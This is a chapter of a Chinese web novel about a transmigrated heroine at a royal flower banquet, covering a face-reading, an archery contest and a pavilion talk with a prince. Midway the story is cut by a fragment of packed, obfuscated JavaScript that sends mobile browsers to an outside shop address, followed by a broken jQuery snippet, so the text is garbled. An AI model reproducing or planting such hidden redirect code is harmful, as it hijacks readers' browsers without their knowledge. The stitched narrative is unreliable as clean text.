画舫上一时鸦雀无声。
给天家看相,本就极考究分寸,说得妥帖是锦上添花,稍有差池便是大不敬的死罪。
方才赵三小姐身份低微,纵使说错几句也无妨,可永初长公主身份尊贵,半分失言,便可招来杀身之祸。
阮析垂下眼,心底飞快盘算。
原书对这位长公主的着墨不多,只知她是先帝最宠爱的长女,性情豪爽、后来因一桩旧事触怒太后,被终身禁足于公主府。
她垂眸,“回殿下,殿下的面相,臣媳不敢看。”
长公主挑了挑眉,“为何?”
“殿下乃天家贵胄,天生的凤凰骨相,命格气运早已天定,臣媳这点微末道行,岂敢妄断天意。”
“不过,”阮析上前两步继续道,“面相之术,素来分‘骨’与‘气’两层。骨相天定,可气色神采显于外,却是人人都能瞧见的。”
她目光轻轻落过长公主的面庞,“臣媳瞧着殿下今日容妆虽精致妥帖,只是粉黛略重了些,反倒压低了本身莹润气色。臣媳随身带了盒养肤胭脂,愿为殿下稍作补缀。”
“那便试试罢。”
阮析从袖中取出一只小巧的白瓷盒,躬身上前。
旋开瓷盒,一股淡雅的兰花香散开,她用指尖沾了少许豆沙色,轻轻点在颧骨下方,顺着骨骼轮廓慢慢匀开,一直衔接到眼尾。
又取出另一盒桃花粉的胭脂,叠加在面中细细拍开。
待她收手退开,一旁侍女早已捧着菱花镜上前。
长公主细细对镜欣赏,只觉得脸颊线条柔和了许多,面中的桃粉藏着细碎光泽,随着转动泛着粼粼水光。
“果然是好东西。”长公主眼睛一亮,指尖虚虚碰了碰脸颊,“比宫里尚妆司做的还要细腻。”
“真好看!”安阳郡主凑上前,“皇姐,这颜色太衬您了,比之前用的那些灵动的多!”
长公主满意点头,语气里难得带了一丝意外:“这胭脂倒是别致,你调的?”
“回禀殿下,正是臣媳闲来无事,按着古方加了些养颜方子,平日涂着提气色,也能保养皮肤。”阮析垂眸回话,心底也悄悄松了口气。
长公主指尖摩挲着瓷盒边缘,目光扫过阶下的赵三小姐,“皇家宴席之上,公然轻慢朝廷册封的王妃,以下犯上,失了官眷体统。”
她随手掼其旁边的一只毛笔,扔在她面前,“赵氏女归家禁足三月,年内京中各府宴饮,一概不许赴会。回去告诉你父亲,好好教一教女儿规矩,免得再出来丢御史的脸面。”
在赵三小姐的忏悔哭声中,画舫缓缓泊向岸边,婢女上前躬身通传:“殿下,花厅与射柳场均已布置妥当,只等您与各位姑娘入席。”
长公主颔首,扶着宫女的手起身,随口补了句,“对了,今日还有几位贵客赴宴,你们待会儿规矩些,别失了仪态。”
话音落下,船上未婚姑娘们便开始悄悄交换眼神,手指不自觉攥紧了绢帕。
“今日天好,图个热闹,本宫特意安排了各家公子射柳助兴,”长公主踩着脚踏往岸上去,“你们待会儿若得空,也不妨去瞧瞧热闹。”
这女子聚会上,各世家公子悉数登场,本就是心照不宣的相看场合,几个年纪小的贵女脸颊都泛起薄红。
众人簇拥着长公主入了临水花厅,按品阶次第落了座,案上早已摆好了鲜果与冷碟。
阮析刚拿起一块杏仁酥,就听见厅外传来一阵骚动,一阵慌乱的脚步声和少女们的欢呼声由远及近地穿过来。
“是顾蕴川顾大人!在东园射圃那边呢!”
“真的?顾大人不是一向都不爱参加这种宴会吗,怎的今日来了?”
“千真万确,沈学士就在他旁边!”
“诶呀,你们慢些跑,我簪子好像松了……”
这消息如同海啸,一刮过来,身边的一片贵女都被卷着着跑了。
裴声声恨铁不成钢地瞅着啃得一脸满足的的阮析,伸手去拽她的胳膊,“阿析你还吃!去晚了就挤不到跟前了!”
阮析嘴巴塞得鼓鼓的,腾出一只手擦了擦嘴角,又伸手去拿桂花糕,“我又不认识他,有什么好看的,何况我是有夫之妇,凑过去看别的男子,传出去像什么话。”
“那是你记不清了!”裴声声着急地把她手里的桂花糕抢下来,“去看一眼说不定就想起来了呢,快些跟我走!”
阮析像没骨头似的,拨开她的手,顺势端起果子露抿了一口,“声声别闹,我一早起来就没正经用膳,快坐下来陪我一起吃。”
见阮析这副油盐不进的模样,裴声声一咬牙,使出了杀手锏,垮着脸晃她的胳膊。
“好阿析,就陪我去嘛,今早在画舫那一遭我快无聊死了,大哥今早刚被那混账王爷贬了职,你就当陪我散散心了好不好。”
阮析被她缠得没办法,想着这么多人,远远看一眼应该也不碍事,只好放下点心,无奈道,“好好好,那我们便去看一眼便回来。”
两人绕到花厅侧的柳林边,远远就见围了一圈人。
她们去得晚,比赛已经开始。
顾蕴川一袭白衣立于场中,白纱覆眼,脊背如竹。
三箭连发,箭箭没入红心三寸,铁弓犹在他掌中微微震颤。
短暂的寂静后,满场贵女纷纷抚掌,几个大胆的更是探出半个身子张望。
他不仅是大理寺少卿,还如此善射,肤色不似寻常公子那般白皙,反倒为他在温雅之外添了一丝野性,不愧是原文男主。
裴声声看得津津有味,还不忘凑到阮析耳边调侃,“你看这细腰宽肩,平日里瞧着温文尔雅的,没想到身段这么惹人,也不知是什么手感?”
说着捏了捏她的腰线。
听着这句话,阮析的思绪飘向了另一个不可描述的方向,脑海冷不丁闪过另一幅画面。
散开的丝质里衣,紧绷的胸肌,低沉的喘息……
“嘶!”
阮析打了个哆嗦,像被烫到似的骤然回神。
怎么好好的,突然想起那个阴晴不定的活阎王了。
“怎么了阿析”裴声声碰了碰她的胳膊,“不会真想起什么了吧?”
“没有。”阮析随口扯了个由头,“就是站久了有点乏,我们回去吃点点心吧。”
两人转身往花厅走,为了避开人流,特意选了假山旁的僻静小路。
刚转过一块嶙峋的太湖石,就听见假山后传来压低的争执声。
“你这又是何苦。”声音很轻,带着几份疲惫。
“我意已决,不必再劝……”
她们下意识放轻脚步,互相看了一眼。抱着吃瓜的心情,想凑近两步看个究竟。
忽见一道倩影猛地从假山后冲了出来,脚步极快,瞧着像是侍女打扮,转瞬就没入了柳林深处。
阮析正犹豫着要不要去假山后看看,后脑勺突然被什么硬物轻轻一砸,忍不住“嘶”了一声。
捂着脑袋抬头望去,看到层层叠得的柳色后,谢清辞正坐在八角亭里喝茶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861573|212022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>他换下了朝服,穿了件绣暗竹纹的常服,倒像个寻常来赏春的世家公子。
今儿这赏花宴可真是藏龙卧虎,原书剧情里半字没登场的人物,今日倒是让她挨个在宴会上撞见了。
身旁的裴声声也随着这声动静往后看到了谢清辞,火气瞬间冒上来。
她本就因大哥被贬憋了一肚子气,看到罪魁祸首便提起裙摆就往石阶上冲,阮析伸手都没拉住。
“燕王殿下!”裴声声几步冲上凉亭,往谢清辞面前一站,梗着脖子就问,“敢问殿下,我大哥不过是南涧账册晚核了两日,何至于连降两级?”
谢清辞指尖慢悠悠转着茶盏,等阮析气喘吁吁跟上来,才开口,“视灾民疾苦而不顾,拖沓误事,王妃觉得,这是重还是轻了呢?”
阮析气还没喘匀,闻言两眼一黑。
早上在画舫上与一种贵女争面子也就算了,怎么还有第二关?
她可不想再答辩一次。
阮析按规矩福了个礼,拿起桌上的凉茶抿了一口,顺了顺气才开口。
“单轮规矩,清史司主事核账晚了两日确实是失职,可连降两级,传出去倒像殿下苛待官员,未免有些过了”。
裴声声在一旁连连点头。
“但话又说回来,”阮析话锋一转。
“南涧水患当前,赈灾粮款全指着账册调度,人命关天的事,王爷从严处置,也是为了敲山震虎,给底下福人提个醒。”
她嘴里说着话,余光瞥见谢清辞终于端起了茶盏。
看来这顺毛哄的法子是用对了。什么活阎王,不过是只脾气大些的猫罢了。
阮析见状便大胆地拉着裴声声在石凳坐下,顺手剥了颗案上的葡萄。
“不过我倒有个主意。不如让裴大哥跟着王爷去南涧督办赈灾。一来亲眼见识民间疾苦,才知其中关键;二来也算是将功补过。”
她把剥好的葡萄递到裴声声面前,“如此一来,也能让朝野上下看看裴家的态度,不是吗?”
裴声声接过,吃着葡萄,似懂非懂地点了点头。
谢清辞拨着腕上的佛珠,“你对裴家的事倒是上心。”
“那是自然。”
裴声声是她来到这世界认识的第一个朋友,虽说性子跳脱,但是真心对她的,自然不能辜负。
“既然你这么想帮忙,南涧查账的差事,你也一道去。”
裴声声愣了愣,先急了,“这怎么行!那地方穷山恶水的,我们阿析皮肤娇嫩,晒坏了怎么办!”
谢清辞没接话,似是觉得手腕上的佛珠膈人,摘了下来。
阮析突然没头没尾的问一句,“王爷是不是还没用早膳呢?”
谢清辞没回话,抬眼看着她。
阮析连忙摸出一颗糖果。递了过去,“最后一颗了,先垫垫肚子。”
谢清辞垂眼看着她的手,没接。
阮析便只能放在桌上。
真是难哄。
这时,亭下隐隐约约传来贵女们的说笑声,估摸着诗会也快开场了。
作诗她不行,可架势得摆足,不然早上在画舫上的那一出就白费了。
她拿不准谢清辞待会儿要不要露面,索性先给他行了个礼,先告退了。
谢清辞在亭子坐了半晌,等茶凉透了,一口饮尽,起身步下台阶。
墨风走到半道,想起落了药瓶,匆匆折回。
踏入亭中时,目光扫过桌面,突然发现到桌上那颗糖,不知被哪来的小动物叼走,不见了。